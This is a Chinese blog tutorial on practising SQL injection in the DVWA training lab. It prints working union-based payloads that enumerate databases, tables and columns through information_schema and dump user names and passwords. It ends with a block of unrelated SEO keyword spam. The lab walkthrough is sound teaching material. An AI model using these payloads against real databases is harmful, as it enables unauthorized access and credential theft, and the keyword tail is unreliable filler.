千家信息网

DVWA亲测SQL注入漏洞

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,介绍:关于sql注入的基础知识,我上篇文章也写过了,这篇就用靶机的漏洞环境来实践操作一下,所谓实践出真理嘛,我们这次试用的漏洞平台是DVWA,Github下载地址:DVWA关于一下注入的基本知识或者姿
千家信息网最后更新 2026年10月31日DVWA亲测SQL注入漏洞
介绍:

关于sql注入的基础知识,我上篇文章也写过了,这篇就用靶机的漏洞环境来实践操作一下,所谓实践出真理嘛,我们这次试用的漏洞平台是DVWA,Github下载地址:DVWA
关于一下注入的基本知识或者姿势,我会在实践中详解。

实验:

LOW等级
先输入1看一下

我们在加个单引号

这里的搜索框为什么没有显示单引号呢?因为被url编码了
一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加个%。
具体可以看URL编码,这里可以查到每个字符的url编码,当然自己编程或者用该语言应该也有自带的函数,去实现url编码。
这里说下sql注入中常见的url编码:
空格是%20
单引号是%27
井号是%23(表注释)
双引号是%22
看报错我们能看到,这是由' '两个单引号扩起来的参数,看看源代码

我们看

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"$id = $_REQUEST[ 'id' ];

参数没有经过任何的过滤....我们尝试闭合单引号。
比如我们输入id=1' or '1'='1
语句就变成了

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1';";

当然,我们也可以使用注释来注释后面的单引号
sql中注释 单行可以使用 #(忽略) --(忽略),多行使用/ /
我们试试1' #

下面我们来利用漏洞获取数据库信息
大概步骤就是:
1.猜解所查询的字段数目
2.获取字段显示位
3.通过显示位获取数据库信息
4.获取数据库中的表名
5.获取表中的列名(字段)
6.导出数据库中的数据
7.验证导出数据的有效性
猜解所查询的字段数
方式1: order by num
若num数值超过了字段数,则查询会报错,从而判断出select语句所查询字段的数目
输入:
1' order by 2 #

1' order by 3 #

报错,说明数据表中只有两个字段
方式二:union select 1,2,3...
若union select后的数字位(不一定是1/2/3,只要有数字占位即可)与实际查询的字段位不完全对应时,查询就会报错,直至调整到不报错时的占位个数,从而判断实际查询的字段数
输入:union select 1,2 #

输入:union select 1,2.3 #

获取字段的显示位
1' union select 1,2 #

既然显示位显示的是我们设定数值,那么我们就通过显示位获取数据,输出出来
通过显示位获取数据库信息
此处会用到Mysql注入常用的一些函数,可参看此文==>SQL注入常用的内置函数整理(以MySql为例)
获取当前连接的数据库名称、DBMS的版本(Mysql的版本)
1' union select database(),version() #

获取当前连接数据库的用户
1' union select 1,user() #

获取服务器的操作系统、数据库的存储目录
1' union select @@version_compile_os,@@datadir #

获取数据库中所有数据库名
在此之前,科普一下数据库的知识
mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息
information_schema.schemata 记录所有的数据库名称
Information_schema.tables: 记录表名信息的表(也有数据库名字段)
Information_schema.columns: 记录列名信息的表(数据库名、表名、字段名)
1' union select 1,schema_name from information_schema.schemata # 可能是权限问题,没有全部爆出来

去数据库执行是这样的

我们发现数据库dvwa正是我们想要的,因此,通过此数据库,去爆表
获取当前连接数据库(dvwa)中的所有表
1' union select 1,table_name from information_schema.tables where table_schema="dvwa" #
where .. 后面表示的限制的条件,只查数据库名是dvwa的表

获取表中的列名(字段)
1' union select 1,column_name from information_schema.columns where table_name="users" #

这样输出有点乱,我们使用group_concat()将他们简单的输出出来
1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #

如果你觉得有点挤,看的不舒服的话,你可以
1' union select 1,group_concat(column_name,' ') from information_schema.columns where table_name="users" #

这样是不是就明显多了?关于group_concat(),还有concat()可以自行百度学习
知道了数据库的表名、字段名就可以爆表了
爆表
1' union select 1,concat(user,'--',password) from users #

还有其他更多的导出操作,一些导出函数的使用,可以自行尝试
验证导出数据的有效性

OK!!
Medium
只是闭合方式不同

其余操作步骤与上差不多
high

想办法闭合,其他就自然好起来了!

数据 数据库 字段 引号 查询 信息 编码 输入 函数 注释 漏洞 方式 知识 实践 输出 闭合 有效 两个 参数 名称 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 百单网互联网科技有限公司怎么样 上海睿民互联网科技有限公司 华服互联网科技怎么样 西安纸贵互联网科技有限公司 科技互联网企业 互联网金融监管科技数据 鸠鸠互联网科技 互联网核心科技是什么 智能科技公司是互联网公司吗 科技制造互联网公司 时间互联网络科技 新浪科技互联网 万达互联网科技 金融科技和互联网金融 互联网科技博主是什么意思 福州新华互联网科技学校 知乎 团飞科技与伯堂互联网服务平台 汽车互联网创新科技园 互联网科技的全部知识 互联网科技职业技能培训学校 湖南永感互联网科技有限公司 今日互联网科技 壕鑫互联网络科技 互联网科技上市公司 互联网 科技馆 崇明区互联网教育科技售后服务 洛阳昕诺飞互联网科技有限公司 互联网科技公司营业执照怎么办理 黑龙江互联网科技公司 东风日产互联网科技公司叫什么
0